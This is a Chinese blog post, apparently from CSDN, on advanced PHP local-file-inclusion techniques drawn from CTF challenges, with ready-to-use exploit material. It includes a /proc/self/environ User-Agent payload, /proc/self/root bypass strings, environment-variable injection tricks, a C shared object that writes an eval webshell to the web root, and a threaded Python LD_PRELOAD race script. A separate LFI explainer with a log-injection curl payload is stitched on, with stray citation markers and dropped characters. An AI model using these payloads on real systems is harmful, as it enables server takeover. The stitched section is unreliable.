再探LFI的新姿势

前言

以前的LFI,就是利用一些基本的php伪协议或者日志文件包含来getshell,这儿总结一下一些进阶的一些LFI

PHPSESSION文件包含

原理:

配置session.upload_progress.enabled = on表示upload_progress功能开始,也意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中

我们通过PHP_SESSION_UPLOAD_PROGRESS将恶意语句写入session的文件,得知session的文件名,就可以再次包含实现getshell

因为session.upload_progress.cleanup = on导致文件上传后,session文件内容立即清空

所以进行条件竞争来RCE

详见:https://blog.youkuaiyun.com/unexpectedthing/article/details/122888905

通过/proc/self/environ

关于/proc的知识,看看这篇

当然/proc/self/environ就可以得到当前进程的环境变量

具体的操作流程:

如果/proc/self/environ文件可以通过LFI访问,那么在这种情况下RCE可以通过请求文件结合写入HTTP User-Agent字段的payload来实现。

GET lfi.php?file=../../../proc/self/environ HTTP/1.1
User-Agent: <?php phpinfo();?>

现在,如果攻击者将上述 http 请求发送到 Web 服务器,那么:

  • 首先将 User-Agent 字段上的数据写入/proc/self/environ文件。
  • 然后页面请求lfi.php?file=../../../proc/self/environ会将/proc/self/environ文件的内容包含到输出页面中,并且我们的有效负载被执行。

可以看看这篇

利用临时文件来getshell

通过PHPINFO特性包含临时文件

利用php7 Segment Fault包含临时文件

懒得自己写了,下面这个写得比较清楚了

直接上链接

compress.zip://产生临时文件

主要作用是:compress.zip://上传文件的话,可以保持http长链接竞争保存临时文件。当然 我们也可以上传大文件来增长产生临时文件的时间。

看看这个题(includer):https://blog.zeddyu.info/2020/01/08/36c3-web/#get-flag

思路很好,利用点就是

  1. 利用 compress.zlib://http://orcompress.zlib://ftp:// 来上传任意文件,并保持 HTTP 长链接竞争保存我们的临时文件
  2. 利用超长的 name 溢出 output buffer 得到 sandbox 路径
  3. 利用 Nginx 配置错误,通过 .well-known../files/sandbox/来获取我们 tmp 文件的文件名
  4. 发送另一个请求包含我们的 tmp 文件,此时并没有 PHP 代码
  5. 绕过 WAF 判断后,发送 PHP 代码段,包含我们的 PHP 代码拿到 Flag

Nginx中的技巧生成临时文件

原理:

  • Nginx 在后端 Fastcgi 响应过大 或 请求正文 body 过大时会产生临时文件
  • 通过多重链接绕过 PHP LFI stat 限制完成 LFI

从中还介绍了利用/proc/self/fd来找到进程下删除的文件

php源码分析 require_once 绕过不能重复包含文件的限制

利用多次重复 / proc/self/root 绕过

<?php
error_reporting(E_ALL);
require_once('flag.php');
highlight_file(__FILE__);
if(isset($_GET['content'])) {
    $content = $_GET['content'];
    require_once($content);
} //题目的代码来自WMCTF2020 make php great again 2.0 绕过require_once是预期解

payload

php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

//result PD9waHAKCiRmbGFnPSJ0ZXN0e30iOwo=

也可以绕过is_file

function filter($file){
    if(preg_match('/\.\.\/|http|filter|https|data|input|rot13|base64|string/i',$file)){
        die("hacker!");
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}
file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

利用编码来构造php代码实现rce

原理:

在 PHP 中,我们可以利用 PHP Base64 Filter 宽松的解析,通过 iconv filter 等编码组合构造出特定的 PHP 代码进而完成无需临时文件的 RCE

https://tttang.com/archive/1395/

这儿还有一篇是关于php://filter利用编码形式处理垃圾数据,从而达到构造正确的php代码

与上面有异曲同工之妙。

再看2022HFCTF中这个LFI

<?php (empty($_GET["env"])) ? highlight_file(__FILE__) : putenv($_GET["env"]) && system('echo hfctf2022');?>

考点:

  1. Nginx 接收Fastcgi的过大响应 或 request body过大时会缓存到临时文件

  2. 当然也利用到了利用环境变量注入来RCE

参考:https://tttang.com/archive/1450/#toc_0x0b

总结下:

php中调用system本质上是调用了sh -c,在不同操作系统中:

  • debian:sh→dash
  • centos:sh→bash

总结:

  • BASH_ENV:可以在bash -c的时候注入任意命令
  • ENV:可以在sh -i -c的时候注入任意命令
  • PS1:可以在shbash交互式环境下执行任意命令
  • PROMPT_COMMAND:可以在bash交互式环境下执行任意命令
  • BASH_FUNC_xxx%%:可以在bash -csh -c的时候执行任意命令

但是题目就是P师傅没解决的debian系统

上面写的就解决了这个问题

Nginx对于请求的body内容会以临时文件的形式存储起来

大概思路是:

  • nginx请求一个过大的body,当大于buffer时,会在/proc/self/fd目录下生成临时文件
  • 在临时文件彻底删除前,竞争LD_PRELOAD包含 proc 目录下的临时文件

所以这个题:我们先传一个so文件进去,然后包含这个临时文件,就可以实现RCE

生成so文件

#include <stdio.h>
#include <unistd.h>
#include <stdio.h>
__attribute__ ((__constructor__)) void angel (void){
unsetenv("LD_PRELOAD");
system("echo \"<?php eval(\\$_POST[cmd]);?>\" > /var/www/html/flag");
} 


编译一下

gcc -shared -fPIC exp.c -o exp.so

这个c代码后,可以定义一个函数加入很多无用代码,增加请求body的长度,更容易产生临时文件

a=0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0;

然后就是竞争的脚本了

import requests
import _thread

f=open("exp.so",'rb')
data=f.read()
url=""

def upload():
    print("start upload")
    while True:
        requests.get(url+"index.php",data=data)

def preload(fd):
    while True:
        print("start ld_preload")
        for pid in range(10,20):
            file = f'/proc/{pid}/fd/{fd}'
            # print(url+f"index.php?env=LD_PRELOAD={file}")
            resp = requests.get(url+f"index.php?env=LD_PRELOAD={file}")
            # print(resp.text)
            if 'uid' in resp.text:
                print("finished")
                exit()

try:
    _thread.start_new_thread(upload, ())
    for fd in range(1, 20):
        _thread.start_new_thread(preload,(fd,))
except:
    print("error")

while True:
    pass
### LFI(本地文件包含)漏洞原理 LFI(Local File Inclusion,本地文件包含)是一种常见的Web应用程序安全漏洞,通常出现在使用动态文件包含功能的脚本语言中,如PHP。当应用程序未正确验证用户输入的文件路径时,攻击者可以利用此漏洞读取或执行服务器上的任意本地文件。 在PHP中,`include()`、`include_once()`、`require()` 和 `require_once()` 函数用于将一个PHP文件的内容插入到当前文件中。如果这些函数的参数是用户可控的,并且没有进行严格的过滤和验证,则可能导致LFI漏洞的发生[^4]。 例如,以下代码片段存在LFI风险: ```php <?php $page = $_GET['page']; include($page . ".php"); ?> ``` 在这个例子中,`$page`变量直接来自用户输入,攻击者可以通过构造特殊的输入来访问系统文件,例如 `/etc/passwd` 或 Windows 系统中的 `C:\Windows\system.ini`,从而获取敏感信息[^1]。 ### LFI漏洞的利用方式 LFI漏洞最常见的利用方式是通过读取系统文件获取敏感数据,或者通过日志注入结合其他技术实现远程代码执行。 1. **读取敏感文件**:攻击者可以通过构造特定的路径访问系统文件,例如: ``` http://example.com/vulnerable.php?page=../../etc/passwd ``` 这种方式可以读取到系统的用户列表和其他敏感配置信息[^2]。 2. **日志注入与远程代码执行**:如果Web服务器允许写入日志文件(如Apache的访问日志),攻击者可以通过向日志文件注入PHP代码,然后通过LFI漏洞包含该日志文件,从而执行恶意代码。例如,攻击者可以使用如下命令注入代码: ``` curl "http://example.com/vulnerable.php?page=<?php system($_GET['cmd']); ?>" ``` 然后通过包含日志文件(如`/var/log/apache/access.log`)执行注入的代码。 3. **伪协议与编码过**:某些情况下,攻击者可能使用伪协议(如`php://filter`)或URL编码技术过简单的输入过滤机制,进一步提升攻击的成功率[^1]。 ### LFI漏洞的修复方法 为了有效防止LFI漏洞,开发人员应采取以下几种主要措施: 1. **避免动态文件包含**:最直接的方法是避免使用用户输入作为文件路径的一部分。尽量使用静态文件名或预定义的白名单机制来决定要包含的文件。例如: ```php $allowed_pages = ['home', 'about', 'contact']; $page = isset($_GET['page']) ? $_GET['page'] : 'home'; if (in_array($page, $allowed_pages)) { include($page . ".php"); } else { include("home.php"); } ``` 2. **严格验证和过滤输入**:如果必须使用动态文件包含,应对用户输入进行严格的验证和过滤,确保输入不包含任何特殊字符或路径遍历序列(如`../`)。可以使用正则表达式来限制输入格式: ```php if (preg_match('/^[a-zA-Z0-9_\-]+$/', $page)) { include($page . ".php"); } else { die("Invalid page name."); } ``` 3. **设置服务器配置**:在PHP配置文件`php.ini`中,建议关闭`allow_url_include`选项以防止远程文件包含(RFI)漏洞。虽然这不会直接影响LFI漏洞,但有助于提高整体安全性。 4. **最小权限原则**:确保Web服务器运行在最低权限账户下,减少攻击者成功利用漏洞后的破坏范围。此外,定期检查并更服务器上的软件和依赖库,确保所有已知的安全补丁都已应用。 5. **日志监控与入侵检测**:部署Web应用防火墙(WAF)和入侵检测系统(IDS),实时监控异常请求模式,及时发现潜在的LFI攻击行为。 ###
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值